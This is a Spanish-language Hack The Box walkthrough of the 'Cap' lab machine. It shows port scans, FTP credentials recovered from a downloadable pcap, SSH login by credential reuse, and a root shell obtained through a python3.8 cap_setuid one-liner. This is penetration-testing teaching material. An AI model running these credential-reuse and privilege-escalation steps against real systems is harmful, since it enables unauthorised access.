Skip to content

CAP-hackthebox

FASE DE RECONOCIMIENTO


  • Uno de las principales fases y importantes es la de reconocimiento una vez obtenida la direccion ip de la victima, para ello podemos usar diversas herramientas que permitan el escane de puertos que podemos encontra en internet, en lo personal usare la herramienta nmap.

    Normalmente yo guardo en un archivo "allportsScan.nmap" las evidencias sobre los escaneos para volver a revisar si asi lo requiero en en futuro.

bash
  Sie7e>$ nmap -p- --open --min-rate 5000 -Pn -vvv <IP> -oG allportsScan.nmap
  # Nmap 7.91 scan initiated Sun Aug 15 19:53:22 2021 as: nmap -p- --open --min-rate 5000 -Pn -vvv -oG allportsScan <IP>
  # Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
  Host: cap.htb ()   Status: Up
  Host: cap.htb ()   Ports: 21/open/tcp//ftp///, 22/open/tcp//ssh///, 80/open/tcp//http///
  # Nmap done at Sun Aug 15 19:54:03 2021 -- 1 IP address (1 host up) scanned in 40.61 seconds
  • Vemos que tenemos 3 puertos abiertos

    • 21 que es usado para el servicio FTP
    • 22 que se usa para el servicio de SSH
    • 80 que se usa para el servicio web(http)
  • una vez ya conocidos los púertos y los servicios vamos a ver a mas detalle cada servicio y sus caracteristicas.

bash
  Sie7e>$ nmap -p21,22,80 -sC -sS -vvv -oN servicesScan cap.htb
  # Nmap 7.91 scan initiated Sun Aug 15 19:56:06 2021 as: nmap -p21,22,80 -sC -sS -vvv -oN servicesScan cap.htb
  Nmap scan report for cap.htb
  Host is up, received echo-reply ttl 63 (0.35s latency).
  Scanned at 2021-08-15 19:56:06 EDT for 33s

  PORT   STATE SERVICE REASON
  21/tcp open  ftp     syn-ack ttl 63
  22/tcp open  ssh     syn-ack ttl 63
  | ssh-hostkey: 
  |   3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
  | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC2vrva1a+HtV5SnbxxtZSs+D8/EXPL2wiqOUG2ngq9zaPlF6cuLX3P2QYvGfh5bcAIVjIqNUmmc1eSHVxtbmNEQjyJdjZOP4i2IfX/RZUA18dWTfEWlNaoVDGBsc8zunvFk3nkyaynnXmlH7n3BLb1nRNyxtouW+q7VzhA6YK3ziOD6tXT7MMnDU7CfG1PfMqdU297OVP35BODg1gZawthjxMi5i5R1g3nyODudFoWaHu9GZ3D/dSQbMAxsly98L1Wr6YJ6M6xfqDurgOAl9i6TZ4zx93c/h1MO+mKH7EobPR/ZWrFGLeVFZbB6jYEflCty8W8Dwr7HOdF1gULr+Mj+BcykLlzPoEhD7YqjRBm8SHdicPP1huq+/3tN7Q/IOf68NNJDdeq6QuGKh1CKqloT/+QZzZcJRubxULUg8YLGsYUHd1umySv4cHHEXRl7vcZJst78eBqnYUtN3MweQr4ga1kQP4YZK5qUQCTPPmrKMa9NPh1sjHSdS8IwiH12V0=
  |   256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
  | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDqG/RCH23t5Pr9sw6dCqvySMHEjxwCfMzBDypoNIMIa8iKYAe84s/X7vDbA9T/vtGDYzS+fw8I5MAGpX8deeKI=
  |   256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
  |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPbLTiQl+6W0EOi8vS+sByUiZdBsuz0v/7zITtSuaTFH
  80/tcp open  http    syn-ack ttl 63
  | http-methods: 
  |_  Supported Methods: GET HEAD OPTIONS
  |_http-title: Security Dashboard

  Read data files from: /usr/bin/../share/nmap
  # Nmap done at Sun Aug 15 19:56:39 2021 -- 1 IP address (1 host up) scanned in 33.54 seconds
  • En principio no vemos nada raro, ni algo que nos llame la atención. vamos a revisar el sitio web:

    • En el sitio web observamos una ruta en la que podemos descargar algunos archivos: http://cap.htb/dat/0

"https://i.ibb.co/YhH31hR/web-cap.png

  • vemos que podemos descargar archivos ".pcap", estos archivos son paquetes de red en las cuales se capturaron y muchas veces puden capturar informacion como usuarios y contraseñas.

WIRESHARK - FTP


  • vamos abrir el "0.pcap" con wireshark

https://i.ibb.co/tLxM4MT/wireshark-cap.png

Observamos que tenemos las un usuario una contraseña, y el servicio en las cuales se usaron es FTP por lo que vamos a probar a conectarnos por ftp

bash
  Sie7e>$ ftp cap.htb
  Connected to cap.htb.
  220 (vsFTPd 3.0.3)
  Name (cap.htb:kali): nathan
  331 Please specify the password.
  Password:
  230 Login successful.
  Remote system type is UNIX.
  Using binary mode to transfer files.
  ftp> dir
  200 PORT command successful. Consider using PASV.
  150 Here comes the directory listing.
  -r--------    1 1001     1001           33 Oct 04 09:04 user.txt
  226 Directory send OK.
Ingresamos con éxito, ahora enuramos un poco y nos encontramos con  un archivo "user.txt" donde veremos la flag. Nos lo descargamos a nuestra equipo.
bash
  ftp> get user.txt

SERVICIO SSH - Escalar privilegios


  • ¿Ahora? No sabemos por donde ir, pero tenemos credenciales las cuanles podemos probar en el servicio SSH y es posible que se esten reuzando las credenciales.
bash
  Sie7e>$ ssh nathan@cap.htb
  nathan@cap.htb's password: 
  Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

  * Documentation:  https://help.ubuntu.com
  * Management:     https://landscape.canonical.com
  * Support:        https://ubuntu.com/advantage

    System information as of Tue Oct  5 04:39:22 UTC 2021

    System load:  0.0               Processes:             226
    Usage of /:   37.1% of 8.73GB   Users logged in:       0
    Memory usage: 34%               IPv4 address for eth0: cap.htb
    Swap usage:   0%

    => There are 4 zombie processes.


  63 updates can be applied immediately.
  42 of these updates are standard security updates.
  To see these additional updates run: apt list --upgradable


  The list of available updates is more than a week old.
  To check for new updates run: sudo apt update
  Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


  Last login: Tue Oct  5 04:38:36 2021 from 10.10.16.4
  nathan@cap:~$
  • Una vez ganado acceso a la maquina podemos enumerar para hacernos usuarios privilegiados, enumerando las siguientes cosas:

    • Archivos o binarios que podemos ejecutar.

    • Tareas que esta programadas en el sistema que se ejecutar cada determinado tiempo.

    • Listar los permisos que tenemos de los archivos /etc/passwd, /etc/shadow.

    • Mas maneras de enumerar el sistema byte-mind.net

    • En fin hay una variedad de maneras de enumerar, incluso podemos a recurir a herramientas populares como LinEnum.sh que lo encuentras en github.

  • En partticular nosotros vamos a enumerar por la capabilities.

bash
  nathan@cap:/tmp/tmp.yoA7vt0g1R$ getcap -r / 2>/dev/null
  /usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip                                            
  /usr/bin/ping = cap_net_raw+ep                                                                
  /usr/bin/traceroute6.iputils = cap_net_raw+ep                                                        
  /usr/bin/mtr-packet = cap_net_raw +ep 
  /usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
  • Vemos que una de las capabilities es de python3.8. si buscamos en gtfobins.github.io tenemos como migrar al usuario root.
bash
 Capabilities
 If the binary has the Linux CAP_SETUID capability set or it is executed by another binary with the capability set, it can be used as a backdoor to maintain privileged access by manipulating its own process UID.

 cp $(which python) .
 sudo setcap cap_setuid+ep python

 ./python -c 'import os; os.setuid(0); os.system("/bin/sh")'

Entonces lo que vamos hacer es seguir la guia(comando)

bash
  nathan@cap:/tmp/tmp.yoA7vt0g1R$ python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'
  # whoami 
  root
  #
  • Bingo somos usuario root.